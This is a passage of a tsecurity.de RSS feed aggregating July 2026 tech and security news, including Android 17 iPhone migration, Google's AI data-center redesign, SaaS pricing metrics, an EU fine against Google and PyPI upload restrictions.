<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Der Umstieg von einem iPhone auf ein Android-Smartphone ist soeben deutlich einfacher geworden. Wie Google gestern im Zuge der “<a href="https://www.pcwelt.de/article/3186787/galaxy-unpacked-event-heute-ab-15-uhr-hier-im-live-stream-das-stellt-samsung-alles-vor.html" target="_blank" rel="noreferrer noopener">Samsung Galaxy Unpacked</a>“-Veranstaltung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-switch-from-iphone-to-android/" target="_blank" rel="noreferrer noopener">angekündigt </a>hat, profitieren iPhone-Nutzer jetzt von einer deutlich simpleren Datenübertragung als bisher.</p>



<p>Direkt in Android 17 (<a href="https://www.pcwelt.de/article/2990238/android-17-release-features-update-2.html" target="_blank" rel="noreferrer noopener">alles zum großen System-Update lesen Sie hier nach</a>) verbaut Google nämlich eine neue Migrationsfunktion, mit der es möglich ist, noch mehr Datentypen drahtlos von einem iPhone auf ein Android-Gerät zu übertragen. Sie benötigen dafür keine separate App (<a href="https://www.pcwelt.de/article/3124530/dateien-android-apple-windows-austauschen-pairdrop.html" target="_blank" rel="noreferrer noopener">wie etwa Pairdrop, die wir hier vorstellen</a>) oder müssen sonstige Umwege gehen.</p>



<p>Das soll natürlich vor allem den Wechsel auf ein brandneues Android-Gerät erleichtern, wie sich Google insgeheim erhofft. Schließlich ist das einer der Anwendungsfälle, bei denen es besonders umständlich ist, sämtliche Daten von einem Gerät aufs nächste zu übertragen.</p>



<p>Google verspricht, dass Sie mit der verbesserten Methode alles herüberziehen können, egal ob Fotos, Videos, Kontakte, Nachrichten oder Kalender. Neuerdings unterstützt werden auch Google-Konten, Passwörter, WLAN-Zugangsdaten und sogar Ihre <a href="https://www.pcwelt.de/article/1355091/esim-erklaert-vorteile-nachteile-ueberblick.html" target="_blank" rel="noreferrer noopener">eSIM</a>.</p>



<p>Das dazugehörige Update soll bereits jetzt auf “ausgewählte” Google-Pixel-Geräte ausgerollt werden. Gemeint ist vermutlich Android 17, das am 19. Juni <a href="https://www.pcwelt.de/article/3167761/android-17-endlich-da-so-bekommen-sie-jetzt-das-update.html" target="_blank" rel="noreferrer noopener">offiziell erschienen</a> ist. Welche Geräte noch Android 17 erhalten werden, <a href="https://www.pcwelt.de/article/3092158/android-17-diese-smartphones-bekommen-das-update-komplette-geraeteliste.html" target="_blank" rel="noreferrer noopener">lesen Sie hier nach</a>.</p>



<p>Neben der neuen Dateiübertragung wurden beim Unpacked-Event vor allem neue Samsung-Geräte vorgestellt. Unsere ersten Eindrücke zu den neuen Galaxy-Geräten lesen Sie hier:</p>



<ul class="wp-block-list">
<li><a href="https://www.pcwelt.de/article/3196777/galaxy-z-fold-8-hands-on-preis-release-specs.html" target="_blank" rel="noreferrer noopener">Galaxy Z Fold 8: Das faltbare Smartphone, von dem ich nicht wusste, dass ich es brauche</a></li>



<li><a href="https://www.pcwelt.de/article/3196774/samsung-galaxy-watch-9-praxistest.html" target="_blank" rel="noreferrer noopener">Galaxy Watch 9 im Praxistest: Zwei Dinge, die mir gefallen, und eines, das ich nicht mag</a></li>



<li><a href="https://www.pcwelt.de/article/3196896/samsung-galaxy-z-fold-8-ultra-hands-on-preis-release.html" target="_blank" rel="noreferrer noopener">Das Galaxy Z Fold 8 Ultra ist ein Meisterwerk, das Sie lieber nicht kaufen sollten</a></li>
</ul>



<p><strong>Lesetipp: </strong><a href="https://www.pcwelt.de/article/3189161/android-17-installieren-alte-smartphones.html" target="_blank" rel="noreferrer noopener">Wie Sie Android 17 auf nicht unterstützten Geräten installieren</a></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[FragDenStaat & Co.: Dobrindt will Transparenz-Plattformen aus dem Weg räumen]]></title>
<description><![CDATA[Bundesinnenminister Alexander Dobrindt (CSU) will offenbar möglichst ungestört von der Zivilgesellschaft wirken. (Symbolbild)    –   Alle Rechte vorbehalten: IMAGO / Metodi PopowJüngst hatte der Koalitionsausschuss der Bundesregierung beschlossen, das Informationsfreiheitsgesetz drastisch einzusc...]]></description>
<link>https://tsecurity.de/de/3689036/it-nachrichten/fragdenstaat-co-dobrindt-will-transparenz-plattformen-aus-dem-weg-raeumen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689036/it-nachrichten/fragdenstaat-co-dobrindt-will-transparenz-plattformen-aus-dem-weg-raeumen/</guid>
<pubDate>Thu, 23 Jul 2026 14:34:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2560" height="1438" src="https://cdn.netzpolitik.org/wp-upload/2026/07/imago862368750-scaled-e1784806211122.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/imago862368750-scaled-e1784806211122.jpg 2560w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago862368750-scaled-e1784806211122-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago862368750-scaled-e1784806211122-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago862368750-scaled-e1784806211122-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago862368750-scaled-e1784806211122-1536x863.jpg 1536w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago862368750-scaled-e1784806211122-2048x1150.jpg 2048w" sizes="(max-width: 2560px) 100vw, 2560px"><figcaption class="wp-caption-text">Bundesinnenminister Alexander Dobrindt (CSU) will offenbar möglichst ungestört von der Zivilgesellschaft wirken. (Symbolbild)  <span class="media-license-caption">  –   Alle Rechte vorbehalten: <a href="https://www.imago-images.de/st/0862368750?searchID=45d45168-3c56-48ab-b7c9-46fbd6389b5b&amp;isHandpicked=false&amp;initialMediaIndex=8&amp;totalResultsCount=16664&amp;isPeopleFilterApplied=no&amp;peopleFilterMode=not+applied">IMAGO / Metodi Popow</a></span></figcaption></figure>Jüngst hatte der Koalitionsausschuss der Bundesregierung beschlossen, das Informationsfreiheitsgesetz drastisch einzuschränken. Nun zeigt ein Bericht des MDR, dass Innenminister Dobrindt noch viel weiter gehen will, um staatliches Handeln im Geheimen zu belassen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: protecting data, building trust]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 2x - Views:4 Data security is a core part of how Kaspersky protects its products and users. In this video we talk about our approach to protecting data, the measures behind it and why continuous improvement matters. Watch to learn how we build trust through responsi...]]></description>
<link>https://tsecurity.de/de/3688971/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-protecting-data-building-trust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688971/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-protecting-data-building-trust/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:55 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 2x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/kzfK4yVPNj4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Data security is a core part of how Kaspersky protects its products and users. In this video we talk about our approach to protecting data, the measures behind it and why continuous improvement matters. Watch to learn how we build trust through responsibility and resilience. <br />
<br />
Find more details in the report: https://kas.pr/7jar<br />
 <br />
#kaspersky #esg #sustainability #cybersecurity<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google hit with $1 billion fine for breaking EU antitrust rules]]></title>
<description><![CDATA[The European Union has fined Google's parent company Alphabet €890 million (about $1 billion) for two separate violations of the bloc's Digital Markets Act (DMA). One penalty is for giving its own products preferential treatment in search results, while the other is for blocking Android developer...]]></description>
<link>https://tsecurity.de/de/3688763/it-nachrichten/google-hit-with-1-billion-fine-for-breaking-eu-antitrust-rules/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688763/it-nachrichten/google-hit-with-1-billion-fine-for-breaking-eu-antitrust-rules/</guid>
<pubDate>Thu, 23 Jul 2026 12:53:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The European Union has fined Google's parent company Alphabet €890 million (about $1 billion) for two separate violations of the bloc's Digital Markets Act (DMA). One penalty is for giving its own products preferential treatment in search results, while the other is for blocking Android developers from sending users to alternate payment options. A €460 […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Synology RAID: Reassembly & Logical Imaging With Atola TaskForce 2]]></title>
<description><![CDATA[Author: Forensic Focus: Digital Forensics & DFIR - Bewertung: 0x - Views:1206 This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire...]]></description>
<link>https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</guid>
<pubDate>Thu, 23 Jul 2026 12:35:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Forensic Focus: Digital Forensics &amp; DFIR - Bewertung: 0x - Views:1206 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/QsVck9hYOw0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire multi-terabyte array.<br />
<br />
In this video, TaskForce 2:<br />
<br />
 -  Automatically detects Synology SHR and SHR-2 configurations<br />
<br />
 -  Reconstructs RAID with no manual setup<br />
<br />
 -  Lets you browse evidence before imaging<br />
<br />
 -  Creates logical image of selected files and folders<br />
<br />
 -  Recovers data from missing or damaged drives using RAID parity<br />
<br />
If you're working with a NAS holding many terabytes of data and you just need a few key files, this workflow gets you there faster – without cutting corners on integrity.<br />
<br />
⏱️ Timestamps<br />
<br />
00:00 Intro<br />
00:15 The problem with Synology RAID reassembly<br />
01:10 How standard RAID works<br />
01:20 What is Synology SHR<br />
03:31 TaskForce 2: built for Synology RAID<br />
03:35 Step 1: Connect sources<br />
03:58 Step 2: RAID autodetection<br />
03:50 Step 3: Review before imaging<br />
04:23 Step 4: Logical imaging<br />
05:01 Step 5: Missing/damaged RAID recovery<br />
<br />
📝Resources:<br />
<br />
🔗 Learn more about Atola TaskForce 2 RAID capabilities: https://atola.com/products/taskforce/forensic-raid-image.html<br />
<br />
🔗 Follow Atola on LinkedIn:  https://www.linkedin.com/company/atola-technology/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: our sustainability principles]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 0x - Views:1 In this video, we explain what sustainability means for Kaspersky. Learn how respect for human rights, adherence to regulatory requirements and meaningful contribution to society and environment shape our guiding principles. From our commitment to trans...]]></description>
<link>https://tsecurity.de/de/3688687/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-our-sustainability-principles/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688687/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-our-sustainability-principles/</guid>
<pubDate>Thu, 23 Jul 2026 12:20:12 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/X3sBp_91LnE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>In this video, we explain what sustainability means for Kaspersky. Learn how respect for human rights, adherence to regulatory requirements and meaningful contribution to society and environment shape our guiding principles. From our commitment to transparency, resilient supply chains to measures that ensure our products can be trusted, we're actively working towards a safer future.<br />
<br />
Find more details in the report: https://kas.pr/7jar<br />
<br />
#kaspersky #esg #sustainability #cybersecurity<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PyPI hardens package security with new upload restrictions]]></title>
<description><![CDATA[The Python Package Index (PyPI) now rejects uploads of new files to releases older than 14 days to prevent attackers from poisoning long-stable releases if a project’s publishing tokens or release workflows are compromised. “This change will protect Python users…
Read more →
The post PyPI hardens...]]></description>
<link>https://tsecurity.de/de/3688651/it-security-nachrichten/pypi-hardens-package-security-with-new-upload-restrictions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688651/it-security-nachrichten/pypi-hardens-package-security-with-new-upload-restrictions/</guid>
<pubDate>Thu, 23 Jul 2026 12:10:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Python Package Index (PyPI) now rejects uploads of new files to releases older than 14 days to prevent attackers from poisoning long-stable releases if a project’s publishing tokens or release workflows are compromised. “This change will protect Python users…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/pypi-hardens-package-security-with-new-upload-restrictions/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/pypi-hardens-package-security-with-new-upload-restrictions/">PyPI hardens package security with new upload restrictions</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT Security News Hourly Summary 2026-07-23 12h : 15 posts]]></title>
<description><![CDATA[15 posts were published in the last hour 10:4 : Assaf Keren Appointed New CISO of Meta 10:4 : PyPI hardens package security with new upload restrictions 10:4 : Nine-Year-Old RefluXFS Linux Flaw Gives Local Users Root on Default RHEL…
Read more →
The post IT Security News Hourly Summary 2026-07-23...]]></description>
<link>https://tsecurity.de/de/3688649/it-security-nachrichten/it-security-news-hourly-summary-2026-07-23-12h-15-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688649/it-security-nachrichten/it-security-news-hourly-summary-2026-07-23-12h-15-posts/</guid>
<pubDate>Thu, 23 Jul 2026 12:10:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
